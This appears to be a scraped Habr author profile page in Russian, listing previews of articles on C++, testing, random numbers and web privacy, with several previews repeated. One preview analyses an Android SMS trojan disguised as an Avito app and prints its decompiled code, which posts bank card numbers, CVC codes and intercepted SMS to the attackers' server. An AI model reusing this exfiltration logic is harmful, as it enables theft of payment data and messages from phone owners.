Прочитав очередные вредные советы про стандарты оформления кода (раз, два, тысячи их), я не смог удержаться, чтобы не поделиться своими измышлениями на эту тему. Долгие годы я вынашивал в своём подсознании чувство «что-то тут не так». И вот, пришло время определиться с тем, что не так, и почему. Рискуя быть закиданным тухлыми бананами, я всё же пишу эту статью тут, а не в своём личном блоге, потому, что это очень важная тема и хочется, чтобы как можно большее число разработчиков поняли её суть и, возможно, пересмотрели свои взгляды на жизнь… кода.
Software developer, C/C++, *SQL, DWH, ETL
Инстанциирование шаблонов функций по списку типов (Часть 1)
8 min
18KСлучалось ли Вам писать шаблон функции, который должен быть инстанциирован для определённого набора типов и больше ни для чего? Если нет, то эта статья врядли покажется Вам интересной. Но если Вы всё ещё здесь, то тогда начнём.
Cтатья будет состоять из двух частей. В первой части будет описана проблема и представлено её первичное, немного кривоватое, решение. Вторая часть будет посвящена усовершенствованию и обобщению изложенного решения.
Первым делом опишем проблему. Представьте себе, Вы обьявляете шаблон функции в заголовочном файле. Если шаблон должен быть потенциально пригоден для всего, что только можно, то и определить его нужно здесь же, в заголовочном файле. Это влечёт за собой сквозные зависимости, увеличение времени компиляции и срач в заголовочном файле. Но это всё же неизбежность. Конечно, можно определить шаблон в другом заголовочном файле и включить его внизу файла с обьявлением. Это избавит Вас от третьей проблемы, но не избавит от первых двух. Теперь обратная ситуация, когда шаблон должен быть использован(инстанциирован) только для парочки конкретных типов. Тогда вы смело переносите определение в исходник и явно инстанциируете Ваш шаблон для каждого отдельного типа. Немного трудоёмко в сопровождении, но всё же лучше чем гадить в заголовочном.
Наша ситуация находится где-то посередине. Есть шаблон функции, и он должен быть инстанциирован для конкретного списка типов, который где-то у Вас в проекте увековечен с помощью typedef'а. Ну, например:
О том, что такое список типов можно почитать у А.Александреску в «Современное проектирование на С++», а пример реализации — здесь.
Под катом самопальная имплементация(такая же как и у тысяч других, наверное). Она, мне лично, больше нравится, так как позволяет писать
вместо классической записи
Cтатья будет состоять из двух частей. В первой части будет описана проблема и представлено её первичное, немного кривоватое, решение. Вторая часть будет посвящена усовершенствованию и обобщению изложенного решения.
Первым делом опишем проблему. Представьте себе, Вы обьявляете шаблон функции в заголовочном файле. Если шаблон должен быть потенциально пригоден для всего, что только можно, то и определить его нужно здесь же, в заголовочном файле. Это влечёт за собой сквозные зависимости, увеличение времени компиляции и срач в заголовочном файле. Но это всё же неизбежность. Конечно, можно определить шаблон в другом заголовочном файле и включить его внизу файла с обьявлением. Это избавит Вас от третьей проблемы, но не избавит от первых двух. Теперь обратная ситуация, когда шаблон должен быть использован(инстанциирован) только для парочки конкретных типов. Тогда вы смело переносите определение в исходник и явно инстанциируете Ваш шаблон для каждого отдельного типа. Немного трудоёмко в сопровождении, но всё же лучше чем гадить в заголовочном.
Наша ситуация находится где-то посередине. Есть шаблон функции, и он должен быть инстанциирован для конкретного списка типов, который где-то у Вас в проекте увековечен с помощью typedef'а. Ну, например:
typedef TypeList<int,char,bool,string, EmptyList> MyTypeList.
О том, что такое список типов можно почитать у А.Александреску в «Современное проектирование на С++», а пример реализации — здесь.
Под катом самопальная имплементация(такая же как и у тысяч других, наверное). Она, мне лично, больше нравится, так как позволяет писать
typedef TypeList<int,char,bool,string, EmptyList> MyTypeList;
вместо классической записи
typedef TypeList<int,TypeList<char,TypeList<bool,TypeList<string, EmptyList>>>> MyTypeList;
+16
Котфускация исполняемого .net кода
6 min
66K(пятница)
Обычно развернутое приложение в файловой системе выглядит как-то так:

Совершенно незащищенное от инструментов типа рефлектора или IlSpy, но что если оно станет таким:

По крайней мере легкий ступор хакеру-неофиту обеспечен. Приятно смотрится,и антивирусы не заинтересуются.
Обычно развернутое приложение в файловой системе выглядит как-то так:

Совершенно незащищенное от инструментов типа рефлектора или IlSpy, но что если оно станет таким:

По крайней мере легкий ступор хакеру-неофиту обеспечен. Приятно смотрится,
+118
Случайные числа и детерминистичная симуляция
12 min
31KСовсем недавно, помогая коллеге в решении вопроса о неповторяемости работы ряда тестов, я в очередной раз натолкнулся на задачу симуляции устройства, генерирующего последовательности случайных чисел. В этой статье я расскажу о том, какие сложности были обнаружены, какой подход к их разрешению был выбран, и как я проверял, что новое решение лучше предыдущего. Сразу отмечу, что вопрос создания и верификации случайных последовательностей очень тонкий, и почти никакое решение не может считаться в нём окончательным. Буду признателен за комментарии и исправления.
Вначале я кратко расскажу о предметной области аппаратных и псевдослучайных генераторов, об их характеристиках и требованиях к ним. Затем перейду к своему частному случаю — области программной симуляции вычислительных систем, и к конкретной задаче, которую нужно было решить.

Иногда самый надёжный способ получить случайное число — взять его из справочника. Источник изображения: www.flickr.com/photos/nothingpersonal/337684768
+34
Как я позорно деактивировал ботнет
10 min
191K
Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.
Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.
Исследование APK
Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.
Итак, что умеет этот троян:
- delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
- sent&&& — отправка заданных СМС-сообщений с сервера
- rent&&& — перехват всех СМС-сообщений и отправка их на сервер
- sms_stop&&& — отмена перехвата СМС-сообщений
- ussd&&& — USSD-запрос
- call_1&&& — установка и отмена безусловной переадресации
Немного кода из моих заметок
protected HttpRequestBase a()
{
try
{
HttpPost httppost = new HttpPost(d());
ArrayList arraylist = new ArrayList();
arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
arraylist.add(new BasicNameValuePair("number", b));
arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
return httppost;
}
catch(UnsupportedEncodingException unsupportedencodingexception)
{
unsupportedencodingexception.printStackTrace();
}
return null;
}
protected String d()
{
return new String((new StringBuilder()).append(a).append("set_card.php").toString());
}
protected HttpRequestBase a()
{
try
{
HttpPost httppost = new HttpPost(d());
ArrayList arraylist = new ArrayList();
arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
return httppost;
}
catch(UnsupportedEncodingException unsupportedencodingexception)
{
unsupportedencodingexception.printStackTrace();
}
return null;
}
protected String d()
{
return new String((new StringBuilder()).append(a).append("get.php").toString());
}
protected HttpRequestBase a()
{
try
{
JSONObject jsonobject = new JSONObject();
jsonobject.put("text", c);
jsonobject.put("number", d);
jsonobject.put("date", e);
HttpPost httppost = new HttpPost(d());
ArrayList arraylist = new ArrayList();
arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
return httppost;
}
catch(UnsupportedEncodingException unsupportedencodingexception)
{
unsupportedencodingexception.printStackTrace();
}
catch(JSONException jsonexception)
{
jsonexception.printStackTrace();
}
return null;
}
protected String d()
{
return new String((new StringBuilder()).append(a).append("load_sms.php").toString());
Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
+356
Теперь любой сайт может узнать адрес вашей страницы в VK?
2 min
169KНаткнулся на сервис позволяющий разместить на своём сайте js-код, который определяет ID посетителя без авторизации. Пользователь об этом совершенно не догадывается, т.к. определение ID происходит при загрузке любой страницы сайта без всяких вопросов об авторизации.
Для маркетинга это открывает широкие возможности, но никак не вписывается в мои представления о безопасной передаче персональных данных.
Т.е. например, допустим, занесло вас на какой-то порно-сайт, а через полминуты в контакте бот пишет вам в ЛС или на стене предложение приобрести рекомендуемый именно вам товар или услугу в соответствии с разделами, которые вы посещали на сайте, или в соответствии с поисковыми запросами, через которые вы попали на этот сайт.
Любой сайт после установки этого шпионского скрипта, будет знать о своих посетителях почти всё, в плоть до номера телефона, если он указан. Понятно что пользователи сами несут ответственность за то, какие данные они выкладывают в публичный доступ, но заходя на сторонний сайт я не даю согласия на обработку моих персональных данных.
Создатели сервиса утверждают: «Никакого взлома или иных противоправных действий сервис не осуществляет. Мы идентифицируем заходящего человека и накапливаем открытую информацию.». Но я считаю незаконным сам факт идентифицикации. Поправьте меня если я не прав.
Ретаргетинг вконтакте работает похожим образом, но он не даёт доступ к профилям попавшим в группу ретаргетинга.
Может найдётся кто-то среди хабра-специалистов по вэб-безопасности кто сможет осветить эту тему в деталях?
Для маркетинга это открывает широкие возможности, но никак не вписывается в мои представления о безопасной передаче персональных данных.
Т.е. например, допустим, занесло вас на какой-то порно-сайт, а через полминуты в контакте бот пишет вам в ЛС или на стене предложение приобрести рекомендуемый именно вам товар или услугу в соответствии с разделами, которые вы посещали на сайте, или в соответствии с поисковыми запросами, через которые вы попали на этот сайт.
Любой сайт после установки этого шпионского скрипта, будет знать о своих посетителях почти всё, в плоть до номера телефона, если он указан. Понятно что пользователи сами несут ответственность за то, какие данные они выкладывают в публичный доступ, но заходя на сторонний сайт я не даю согласия на обработку моих персональных данных.
Создатели сервиса утверждают: «Никакого взлома или иных противоправных действий сервис не осуществляет. Мы идентифицируем заходящего человека и накапливаем открытую информацию.». Но я считаю незаконным сам факт идентифицикации. Поправьте меня если я не прав.
Ретаргетинг вконтакте работает похожим образом, но он не даёт доступ к профилям попавшим в группу ретаргетинга.
Может найдётся кто-то среди хабра-специалистов по вэб-безопасности кто сможет осветить эту тему в деталях?
+63
Легальный Clickjacking ВКонтакте
1 min
117KПоговорим о виджете для авторизации.
Нам говорят, что:
Также, нам говорят, что:
Нам говорят, что:
С помощью виджета для авторизации Вы можете максимально просто предоставить пользователям возможность авторизовываться на Вашем ресурсе.
Также, нам говорят, что:
В результате авторизации виджет возвращает следующие поля: uid, first_name, last_name, photo, photo_rec, hash.
+61
Чек-лист разработчика языка программирования
4 min
23KTranslation
Итак, Вы собираетесь создать новый [] функциональный, [] императивный, [] объектно-ориентированный, [] процедурный, [] стековый, [] мультипарадигменный, [] быстрый, [] статически-типизированный, [] динамически-типизированный, [] чистый, [] богатый, [] не-искусственный, [] наглядный, [] простой для новичков, [] простой даже для не-программистов, [] абсолютно непостижимый язык программирования.
Не получится. И вот почему.
Не получится. И вот почему.
+158
Отладка C++ программ в ОС GNU/Linux
2 min
29KTutorial
Так уж случилось, что по долгу работы очень много времени провожу с операционными системами семейства GNU/Linux. Основным видом моей деятельности является разработка программного обеспечения на С++.
Так вот, основной проблемой при использовании отладчика – это отображение сложных контейнеров, например, stl-контейнеров.
Решение, которое я предлагаю, актуально для gdb. Этот отладчик поддерживает скрипты, написанные на языке python, а механизмы отображения сложных объектов, называются pretty printers. Т.е. чтобы отладчик отображал нам все правильно, необходимо указать ему где находятся скрипты с этими самыми pretty printers. Для указания отладчику дополнительных команд необходим файл .gdbinit.
Итак, попробую оформить все, как инструкцию, так и читать удобней, и сам не забуду.
Так вот, основной проблемой при использовании отладчика – это отображение сложных контейнеров, например, stl-контейнеров.
Решение, которое я предлагаю, актуально для gdb. Этот отладчик поддерживает скрипты, написанные на языке python, а механизмы отображения сложных объектов, называются pretty printers. Т.е. чтобы отладчик отображал нам все правильно, необходимо указать ему где находятся скрипты с этими самыми pretty printers. Для указания отладчику дополнительных команд необходим файл .gdbinit.
Итак, попробую оформить все, как инструкцию, так и читать удобней, и сам не забуду.
+16
Как найти показатель степени двойки за O(1) с помощью последовательности де Брёйна
2 min
30KАперитив
Всем, наверное, известно, как посчитать количество бит в числе. Например, подойдут следующие два способа:
while (n)
{
++count;
n &= (n-1);
}
while (n)
{
if (n&1)
++count;
n >>= 1;
}
Упражнение: какое в среднем количество операций будет выполнено в первой и во второй реализации?
Блюдо
Пусть у нас есть n-битное число вида 2^i. Нам необходимо найти i за O(1).
Как это сделать? Пусть n = 2^k. Построим последовательность де Брёйна (de Bruijn) над алфавитом {0,1} для подстрок длины k.
Что такое последовательность де Брёйна?
+44
Статически типизированные продолжения
12 min
11KНамедни на RSDN был задан такой вопрос:
Пусть у нас есть функция, возвращающая полиморфный тип
и функция, принимающая его экземпляры
которую используют примерно так
Можно ли протащить полиморфизм на стадию компиляции?
Пусть у нас есть функция, возвращающая полиморфный тип
class Base { virtual int foo() const = 0; };
class A : public Base { int foo() const { return 1; } };
class B : public Base { int foo() const { return 2; } };
class C : public Base { int foo() const { return 3; } };
class D : public Base { int foo() const { return 4; } };
Base* getconfig(char cfg) // не будем пока отвлекаться на уборку мусора
{
switch(cfg)
{
case 'a': return new A();
case 'b': return new B();
case 'c': return new C();
case 'd': return new D();
default: throw std::invalid_argument("bad type");
}
}
и функция, принимающая его экземпляры
int entry(Base* x, Base* y) { return x->foo()*10 + y->foo(); }
которую используют примерно так
void run(char cx, char cy) { std::cout << cx << cy << " : " << entry(getconfig(cx), getconfig(cy)) << std::endl; }
Можно ли протащить полиморфизм на стадию компиляции?
+17
Атаки шейпинга в сетях low latency или почему Tor не спасает от спецслужб
6 min
88K
Тайминг-атаки являются известным слабым местом сети Tor и неоднократно обсуждались, в том числе на Хабре, где можно найти порядка 10 статей, так или иначе затрагивающих эту тему. Зачем нужна еще одна? Существует достаточно распространенное заблуждение, что подобные атаки всегда требуют статистического анализа и достаточно сложны в реализации. Ранее опубликованные статьи относятся именно к такому классу атак. Мы рассмотрим вполне реалистичный сценарий, в котором достаточно единственного запроса для деанонимизации пользователя сети.
Поскольку вопрос возможности деанонимизации пользователей Tor в очередной раз активно обсуждается в рунете, я публикую «печатную» версию фрагмента своей презентации с PHDays 2014. Приведенная ниже атака не специфична для Tor и может быть использована против любых low latency средств сокрытия источника трафика – VPN, цепочки прокси и даже их комбинации.
+106
Пополняем шпаргалки по C++: неявно-генерируемые перемещающий конструктор и оператор присваивания
2 min
25KTutorial
Когда не так часто, как хотелось бы, приходится работать с языком, некоторые аспекты забываются. А некоторые никогда и не откладываются в голове. Поэтому, когда возникают вопросы, приходится отвлекаться и лезть в документацию.
Чтобы сэкономить время в последующем, а также, чтобы лучше понять в ходе обучения, крайне помогает вести конспекты и делать наглядные шпаргалки. Шпаргалку можно повесить рядом на стену. Хороши шпаргалки в виде блок-схем, по которым можно легко, по шагам, получить нужный результат (например выбрать правильный контейнер).
Под катом я решил опубликовать пару шпаргалок для определения условия когда будет создан компилятором неявно-генерируемый перемещающий конструктор и перемещающий оператор присваивания.
Чтобы сэкономить время в последующем, а также, чтобы лучше понять в ходе обучения, крайне помогает вести конспекты и делать наглядные шпаргалки. Шпаргалку можно повесить рядом на стену. Хороши шпаргалки в виде блок-схем, по которым можно легко, по шагам, получить нужный результат (например выбрать правильный контейнер).
Под катом я решил опубликовать пару шпаргалок для определения условия когда будет создан компилятором неявно-генерируемый перемещающий конструктор и перемещающий оператор присваивания.
+25
Очки виртуальной реальности из картона, акрила и пластика
4 min
137K
На последней конференции I/O Google показал свою версию очков виртуальной реальности из картона. В принципе, схемы подобных очков уже давно ходят по интернетам (например, FOV2GO). Однако схема ребят из Google получилась проще аналогов, а также они добавили фишку с магнитом, который работает как внешняя аналоговая кнопка. В этом посте я поделюсь своим опытом сборки очков виртуальной реальности на базе смартфона: Google Cardboard из картона, OpenDive из пластика и очков, вырезанных на лазерном резаке из акрила.
+56
Пишем простой интерпретатор на C++ с помощью TDD, часть 3
19 min
14KTutorial
В первой части был написан лексер, а во второй части — парсер. Далее будет рассмотрена разработка вычислителя и фасада для всего интерпретатора, а также рефакторинг кода для устранения дублирования.
Приступим к самому интересному. Вычисление выражения в постфиксной записи можно осуществить двумя способами: через рекурсию, неявно используя стек процесса, или используя явный стек. Реализуем второй вариант. Алгоритм с использованием явного стека такой:
В данной статье я не буду реализовывать контекст выполнения и вычисление нескольких выражений. Поэтому начальный список тестов будет коротким:
Создадим новый тестовый класс и добавим первый тест.
Вычислитель
Приступим к самому интересному. Вычисление выражения в постфиксной записи можно осуществить двумя способами: через рекурсию, неявно используя стек процесса, или используя явный стек. Реализуем второй вариант. Алгоритм с использованием явного стека такой:
- Если на вход подан операнд, он помещается на вершину стека.
- Если на вход подан знак операции, то соответствующая операция выполняется над требуемым количеством значений, извлечённых из стека, взятых в порядке добавления. Результат выполненной операции кладётся на вершину стека.
- После полной обработки входного набора символов результат вычисления выражения лежит на вершине стека.
В данной статье я не буду реализовывать контекст выполнения и вычисление нескольких выражений. Поэтому начальный список тестов будет коротким:
- Если на входе пустой список, возвращаем 0.
- Если на входе список с одним числом, возвращаем это число.
- Если на входе [1 2 +], возвращаем 3.
Создадим новый тестовый класс и добавим первый тест.
TEST_CLASS(EvaluatorTests) {
public:
TEST_METHOD(Should_return_zero_when_evaluate_empty_list) {
double result = Evaluator::Evaluate({});
Assert::AreEqual(0.0, result);
}
};
+15
Пишем простой интерпретатор на C++ с помощью TDD, часть 1
17 min
49KTutorial
Введение

Многие C++ программисты слышали про разработку через тестирование. Но почти все материалы по данной теме касаются более высокоуровневых языков и сосредоточены больше на общей теории, чем на практике. Итак, в данной статье я попробую привести пример пошаговой разработки через тестирование небольшого проекта на C++. А именно, как можно предположить из названия, простого интерпретатора математических выражений. Такой проект также является неплохой code kata, так как на его выполнение затрачивается не более часа (если не писать параллельно статью об этом).
Архитектура
Несмотря на то, что при использовании TDD архитектура приложения постепенно проявляется сама собой, начальная её проработка всё же необходима. Благодаря этому может значительно снизиться общее время, затраченное на реализацию. Это особенно эффективно в тех случаях, когда существуют готовые примеры подобных систем, которые можно взять за образец. В данном случае, существует вполне устоявшееся мнение о том, как должны быть устроены компиляторы и интерпретаторы, чем и можно воспользоваться.
Существует множество библиотек и инструментов, которые могут облегчить разработку интерпретаторов и компиляторов. Начиная от Boost.Spirit и заканчивая ANTLR и Bison. Можно даже запустить канал интерпретатора командной строки через
popen
и вычислить выражение через него. Целью данной статье является пошаговая разработка достаточно сложной системы с помощью TDD, поэтому будет использоваться только стандартная библиотека C++ и встроенный в IDE тестовый фреймворк.+24
Пишем простой интерпретатор на C++ с помощью TDD, часть 2
16 min
14KTutorial
В первой части был написан лексер. Далее будет рассмотрена разработка парсера.
Парсер будет реализован по алгоритму сортировочной станции, так как он достаточно прост и не нуждается в рекурсии. Сам алгоритм таков:
В начале даются пустой выходной поток и пустой стек. Начнём читать токены из входного потока по очереди.
После достижения конца входного потока, вытолкнуть все оставшиеся в стеке операторы в выходной поток. Если в нём найдено что-либо кроме операторов, то генерируем ошибку.
Прикинем, какие тесты могут понадобиться для начала.
Со скобками и ошибками разберёмся позднее. Итак, напишем первый тест из списка.
Парсер
Парсер будет реализован по алгоритму сортировочной станции, так как он достаточно прост и не нуждается в рекурсии. Сам алгоритм таков:
В начале даются пустой выходной поток и пустой стек. Начнём читать токены из входного потока по очереди.
- Если это число, то передать его в выходной поток.
- Если это лево ассоциативный оператор, то выталкиваем токены из стека в выходной поток до тех пор, пока он не опустеет, либо не его вершине не встретится скобка, или оператор с более низким приоритетом.
- Если это открывающая скобка, то положить её в стек.
- Если это закрывающая скобка, то выталкиваем токены из стека в выходной поток до обнаружения открывающей скобки. Вытолкнуть открывающую скобку из стека, но не передавать её в выходной поток. Если стек опустел, и скобка не найдена, то генерируем ошибку.
После достижения конца входного потока, вытолкнуть все оставшиеся в стеке операторы в выходной поток. Если в нём найдено что-либо кроме операторов, то генерируем ошибку.
Прикинем, какие тесты могут понадобиться для начала.
- При получении пустого списка, возвращается пустой список.
- При получении списка с одним числом, возвращается список с этим числом.
- При получении [1 + 2], возвращается [1 2 +].
- При получении [1 + 2 + 3], возвращается [1 2 + 3 +], так как оператор + является лево ассоциативным.
- При получении [1 * 2 + 3], возвращается [1 2 * 3 +].
- При получении [1 + 2 * 3], возвращается [1 2 3 * +], так как оператор * имеет больший приоритет.
Со скобками и ошибками разберёмся позднее. Итак, напишем первый тест из списка.
TEST_CLASS(ParserTests) {
public:
TEST_METHOD(Should_return_empty_list_when_put_empty_list) {
Tokens tokens = Parser::Parse({});
Assert::IsTrue(tokens.empty());
}
};
+20
Google анонсировал бесплатные курсы программирования для Android
2 min
91KRecovery Mode
Как стало известно на этой неделе, Корпорация Добра объединилась с небезизвестной Udacity чтобы сделать общедоступные бесплатные курсы по программированию под платформу Android. Курсы будут доступны для всех желающих. По традиции они будут включать в себя видео, викторины, множество учебных материалов и доступ к форумам для общения и обсуждения сопутствующих тем.
+29
Несколько интересностей и полезностей для веб-разработчика #24
5 min
59KДоброго времени суток, уважаемые хабравчане. За последнее время я увидел несколько интересных и полезных инструментов/библиотек/событий, которыми хочу поделиться с Хабром.

Webhook — это платформа для создания сайтов. Важно не путать со статическими генераторами, потому что это именно «CMS builder». Проект успешно завершил кампанию на Kickstarter 14 мая этого года, где смог собрать сумму в два раза большую, чем было необходимо. А буквально недавно состоялся релиз первой версии продукта. Webhook построен с использованием NodeJS, Grunt и Firebase для реалтайма, работает на Windows, Linux и Mac, внутри целая система виджетов со множеством вариаций на выходе, «Django-like templating» с помощью Swig JS, кроссплатформенная админ панель и еще целый ряд плюсов.
Webhook

Webhook — это платформа для создания сайтов. Важно не путать со статическими генераторами, потому что это именно «CMS builder». Проект успешно завершил кампанию на Kickstarter 14 мая этого года, где смог собрать сумму в два раза большую, чем было необходимо. А буквально недавно состоялся релиз первой версии продукта. Webhook построен с использованием NodeJS, Grunt и Firebase для реалтайма, работает на Windows, Linux и Mac, внутри целая система виджетов со множеством вариаций на выходе, «Django-like templating» с помощью Swig JS, кроссплатформенная админ панель и еще целый ряд плюсов.
+79
Изучаем алгоритм работы регулярных выражений в Ruby
9 min
16KTranslation

Согласно Википедии, Oniguruma означает «колесница дьявола» в переводе с японского.
Мы все знакомы с регулярными выражениями. Они являются «швейцарским армейским ножом разработчика». Что бы вы ни искали, какой бы текст ни разбирали, вы всегда можете сделать это используя регулярные выражения. На самом деле, вероятно, вы начали использовать их гораздо раньше, чем стали использовать Ruby — они уже давно включены в большинство популярных языков программирования: Perl, JavaScript, PHP, Java и прочие. Ruby появился в середине 1990-х годов, тогда как регулярные выражения еще в 1960-х, то есть почти на 30 лет раньше!
Но как на самом деле работают регулярные выражения?
+22
Information
- Rating
- Does not participate
- Location
- Bayern, Германия
- Registered
- Activity